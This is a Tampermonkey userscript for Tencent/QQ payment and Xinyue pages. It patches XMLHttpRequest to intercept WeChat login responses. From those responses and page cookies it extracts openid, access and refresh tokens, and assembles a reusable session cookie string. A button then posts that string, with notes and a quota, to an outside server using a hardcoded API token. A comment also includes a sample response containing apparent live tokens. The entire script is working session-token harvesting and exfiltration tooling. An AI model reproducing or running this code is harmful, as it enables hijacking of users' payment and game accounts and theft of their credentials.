// ==UserScript==
// @name         get_ten_CK
// @namespace    http://tampermonkey.net/
// @version      2025-06-07
// @description  get_ten_CK
// @author       yong
// @match        *://pay.qq.com/*
// @match        *://xinyue.qq.com/*
// @match        *://bgw.xinyue.qq.com/*
// @match        *://act.xinyue.qq.com/*
// @match        *://vipzx.qq.com/*
// @match        *://pagedoo.pay.qq.com/*
// @match        *://act.daoju.qq.com/act/*
// @icon         https://www.google.com/s2/favicons?sz=64&domain=whnprg.com
// @grant        GM_info
// @grant        unsafeWindow
// @grant        GM_addStyle
// @grant        GM_setValue
// @grant        GM_getValue
// @grant        GM_getResourceText
// @grant        GM_xmlhttpRequest
// @grant        GM_setClipboard
// @grant        GM_getResourceURL
// @run-at       document-start
// ==/UserScript==

(function () {
    'use strict';


    var panelHTML1 = `
     <style>
        .qr-code-txt {
            text-align: center;
            margin-bottom: 7px;
            font-family: 'helvetica neue', 'hiragino sans gb', PingFangSC-Light, Arial, tahoma, 'microsoft yahei ui', 'microsoft yahei', '微软雅黑', simsun, sans-serif;
            font-size: 14px;
        }

        .qr-code-area .qr-code-container {
            position: relative;
            width: 140px;
            height: 140px;
            display: inline-block;
            padding: 9px;
            border: 1px solid #e5e5e5;
        }

        .qr-code-area {
            text-align: center;
        }

        .qr-code-area .qr-code-container.qq {
            border-bottom-color: #3387ef;
        }

        .qr-code-txt .icon-qq,
        .qr-code-txt .icon-wx {
            margin-right: 4px;
        }

        em {
            font-style: normal;
        }

        .icon-qq {
            background-image: url(https://midas.gtimg.cn/midas/minipay_v2/images/sprite@2x.c6e1a4965de7a4069e10e6f1bb463a8c.png);
            background-position: -69px -81px;
            background-size: 226px 210px;
            width: 14px;
            height: 17px;
        }

        .qr-code-txt em {
            font-size: 20px;
            font-weight: 400;
            margin: 0 2px;
        }

        #container {
            margin: 0 auto;
        }
    </style>
    <div 
       id="draggablePanel"
        style="display: block;z-index: 99999; position: fixed; top: 0px; left:0px; background-color: #999; border: 1px solid black; padding: 5px;">
       <div>
       <button id="showHideButton1">Hide</button>
       <span id="currentAccount">${GM_getValue("currentAccount") != undefined ? GM_getValue("currentAccount") : ""}</span>
       </div> 
        <div id="panel1" style="display: block;" >
            <div>
                备注：<input type="text" id="note" value="" style="width: 120px;">
            </div>
            <div>
                限额：<input type="text" id="quantity" value="0" style="width: 120px;">
            </div>
            <div>
                号码：<input type="text" id="account" value="` + (GM_getValue("account") != undefined ? GM_getValue("account") : "") + `" style="width: 120px;">
            </div>
             <div>
               参数：<input type="text" id="tx_ck" value="` + (GM_getValue("tx_ck") != undefined ? GM_getValue("tx_ck") : "") + `"  style="width: 120px;">
            </div>
            <div>
                类别：<input type="text" id="category" value="` + (GM_getValue("category") != undefined ? GM_getValue("category") : "新建") + `"  style="width: 120px;">
            </div>
            <div>
                <button id="clearButton">清除-刷新</button>
                <button id="getCKButton">获取</button>
                <button id="payButton">保存</button>
            </div>
        </div>
    </div>
 `;

    function parseCookieString(str = document.cookie, doDecode = true) {
        if (!str) return {};
        const out = {};
        str.split(/;\s*/).filter(Boolean).forEach(seg => {
            const i = seg.indexOf("=");
            if (i < 0) return; // 跳过异常段
            let k = seg.slice(0, i).trim();
            let v = seg.slice(i + 1); // 只在第一个 '=' 处分割，保留值里后续的 '='
            if (doDecode) {
                try { k = decodeURIComponent(k); } catch {}
                try { v = decodeURIComponent(v); } catch {}
            }
            out[k] = v;
        });
        return out;
    }

    // 判断当前页面是否是父页面
    if (window.top === window) {
        // 在父页面插入panelHTML
        if (!document.getElementById('panel')) {

            window.addEventListener('DOMContentLoaded', () => {
                document.body.insertAdjacentHTML('beforeend', panelHTML1);



                // 获取 panel1 和按钮元素
                var panel1 = document.getElementById('panel1');
                var showHideButton1 = document.getElementById('showHideButton1');
                showHideButton1.style.color = 'red';
                panel1.style.zIndex = 99999;
                panel1.style.width = '220px';
                // 添加按钮点击事件
                showHideButton1.addEventListener('click', function () {
                    if (panel1.style.display === 'none') {
                        panel1.style.display = 'block';
                        showHideButton1.textContent = '关闭';
                    } else {
                        panel1.style.display = 'none';
                        showHideButton1.textContent = '显示';
                    }
                });


                //获取
                document.getElementById("getCKButton").addEventListener("click", function () {

                    const accountValue = GM_getValue("account");
                    const txCkValue = GM_getValue("tx_ck");
                    const accountInput = document.getElementById("account");
                    const txCkInput = document.getElementById("tx_ck");

                    if (accountInput) accountInput.value = accountValue;
                    if (txCkInput) txCkInput.value = txCkValue;
                    alert(`获取CK成功-->${txCkValue}`)
                });

                //清除
                document.getElementById("clearButton").addEventListener("click", function () {
                    GM_setValue("account", "")
                    GM_setValue("tx_ck", "")
                    const accountInput = document.getElementById("account");
                    const txCkInput = document.getElementById("tx_ck");

                    if (accountInput) accountInput.value = "";
                    if (txCkInput) txCkInput.value = "";
                    alert("清除成功,请刷新页面")
                });

                //保存
                document.getElementById("payButton").addEventListener("click", function () {
                    //获取
                    const note = document.getElementById("note")?.value;
                    const quantity = document.getElementById("quantity")?.value;
                    const account = document.getElementById("account")?.value;
                    const tx_ck = document.getElementById("tx_ck")?.value;
                    const category = document.getElementById("category")?.value;
                    API_CALL_ADD_ACCOUNT({ note, quantity, account, tx_ck, category })
                });


                // 增加移动事件
                var draggablePanel = document.getElementById("draggablePanel");
                var offsetX, offsetY;

                function startDrag(e) {
                    // 如果点击的是输入框、按钮、文本区域或下拉菜单，则不触发拖动
                    if (e.target.closest('input, button, textarea, select')) {
                        return;
                    }
                    e.preventDefault();
                    var evt = e.touches ? e.touches[0] : e;
                    offsetX = evt.clientX - draggablePanel.offsetLeft;
                    offsetY = evt.clientY - draggablePanel.offsetTop;

                    if (e.touches) {
                        document.addEventListener('touchmove', moveDrag, { passive: false });
                        document.addEventListener('touchend', endDrag);
                    } else {
                        document.addEventListener('mousemove', moveDrag);
                        document.addEventListener('mouseup', endDrag);
                    }
                }

                function moveDrag(e) {
                    e.preventDefault();
                    var evt = e.touches ? e.touches[0] : e;
                    draggablePanel.style.transform = ''; // 清除 transform，确保 left 和 top 生效
                    draggablePanel.style.left = (evt.clientX - offsetX) + 'px';
                    draggablePanel.style.top = (evt.clientY - offsetY) + 'px';
                }

                function endDrag(e) {
                    e.preventDefault();
                    if (e.changedTouches) {
                        document.removeEventListener('touchmove', moveDrag);
                        document.removeEventListener('touchend', endDrag);
                    } else {
                        document.removeEventListener('mousemove', moveDrag);
                        document.removeEventListener('mouseup', endDrag);
                    }
                }

                draggablePanel.addEventListener('mousedown', startDrag);
                draggablePanel.addEventListener('touchstart', startDrag, { passive: false });
            });

        }
    }

    function addXMLRequestCallback(callback) {
        var oldSend, i, oldOpen;

        if (XMLHttpRequest.callbacks) {
            XMLHttpRequest.callbacks.push(callback);
        } else {
            XMLHttpRequest.callbacks = [callback];

            oldSend = XMLHttpRequest.prototype.send;

            XMLHttpRequest.prototype.send = function () {
                for (i = 0; i < XMLHttpRequest.callbacks.length; i++) {
                    XMLHttpRequest.callbacks[i](this);
                }

                try {
                    if (arguments.hasOwnProperty(0)) {
                        console.log("📦 XHR send body:", arguments[0]);
                    }
                } catch (err) {
                    console.log("🚨 send 参数错误", err);
                }

                return oldSend.apply(this, arguments);
            };
        }
    }

    // 回调
    addXMLRequestCallback(function (xhr) {
        xhr.addEventListener("load", function () {
            if (xhr.readyState === 4 && xhr.status === 200) {
                if (xhr.responseURL && xhr.responseURL.includes("get_wechat_userinfo.cgi")) {
                    // console.log(xhr.response);
                    const resp = JSON.parse(xhr.response);
                    if (resp.resultcode == 0) {
                        let openid = resp?.resultinfo?.obj?.openid
                        let nickname = resp?.resultinfo?.obj?.nickname
                        let access_token = resp?.resultinfo?.obj?.access_token
                        let refresh_token = resp?.resultinfo?.obj?.refresh_token
                        let unionid = resp?.resultinfo?.obj?.unionid
                        let documentCK = parseCookieString()
                        let pgv_pvid = documentCK?.pgv_pvid;
                        let ts_uid = documentCK?.ts_uid;
                        let pgv_info = documentCK?.pgv_info;
                        let ts_last = documentCK?.ts_last;
                        let tgw_l7_route = documentCK?.tgw_l7_route;
                        //pgv_pvid=2343160656;ts_uid=1838043296; pgv_info=ssid=s3884940802; _qpsvr_localtk=0.4742557610796264; ts_last=pay.qq.com/ipay/mobile-game/index.shtml;appid=wx951bdcac522929b6

                        let tx_ck = `tgw_l7_route=${tgw_l7_route};pgv_info=${pgv_info};ts_last=${ts_last};pgv_pvid=${pgv_pvid};ts_uid=${ts_uid};pay_mobile_account=wx;pay_mobile_game_account=wx;pay_wechat_openid=${openid};pay_wechat_access_token=${access_token};pay_wechat_nickname=${nickname};refresh_token=${refresh_token};unionid=${unionid};appid=wx951bdcac522929b6`
                        GM_setValue("account", nickname)
                        GM_setValue("tx_ck", tx_ck)
                    }
                    //let res = { "resultcode": 0, "resultinfo": { "errmsg": "", "list": [], "obj": { "openid": "odFzSjquKxb7mxW6N0f85lsOJHIg", "nickname": "与", "sex": 0, "language": "", "city": "", "province": "", "country": "", "headimgurl": "https://thirdwx.qlogo.cn/mmopen/vi_32/YHob0CdiboPkNNZMNdxIv2YN9ibibw2giaCaFiaDuhq6Zy2Rib39y3OeuXK4icMCCK7RmD1dUcddkPH3Cp1gVAOtj0EBSe7w3NovbC2kRrGse4nYwo/132", "privilege": [], "unionid": "oI1qOtx8BQKVVR9YfpCr-oDanwqY", "access_token": "93_DtRO02TWek7TJwoWlHbrx8_R1DSmV-mKZEs9MnCkteMDjxXbHdGrNrXT38-KV412G9FnRBNhHK7B0JxSflcLVU4Nkl1601NFMa0X5u5tneE", "refresh_token": "93_hRENBQIswWogzHmn-sYVaT_-sVTWf0lUovweWg4tBgd7UpJBxWqnSdYkuUfsb1xL23k_b1Tnzv0Duzl1AnguQBobZ29DBBjPjcqOgfXa6vY", "expires_in": 7200, "scope": "snsapi_login" } } }
                }
                //console.log("📥 XHR response from", xhr.responseURL);
            }
        });
    });

    function API_CALL_ADD_ACCOUNT(data) {
        GM_xmlhttpRequest({
            method: "POST",
            url: "https://dkapi.toyong.cn/fras/game/gameaccount/save",
            headers: {
                "Content-Type": "application/json",
                "token": "0fb7a76fee0bda0e2070d2d77dc35e64"
            },
            data: JSON.stringify({
                "t": Date.now(),
                "note": data?.note,
                "quantity": Number(data?.quantity),
                "accountNumber": data?.account,
                "accountCk": data?.tx_ck,
                "category": data?.category,
            }),
            onload: function (response) {
                try {
                    const resp = JSON.parse(response.responseText);
                    if (resp.code === 0) {
                        alert("添加成功");
                    } else {
                        alert(resp.msg);
                    }
                } catch (err) {
                    alert("解析响应失败");
                    console.error(err);
                }
            },
            onerror: function (err) {
                console.error("请求失败:", err);
            }
        });
    }


})();
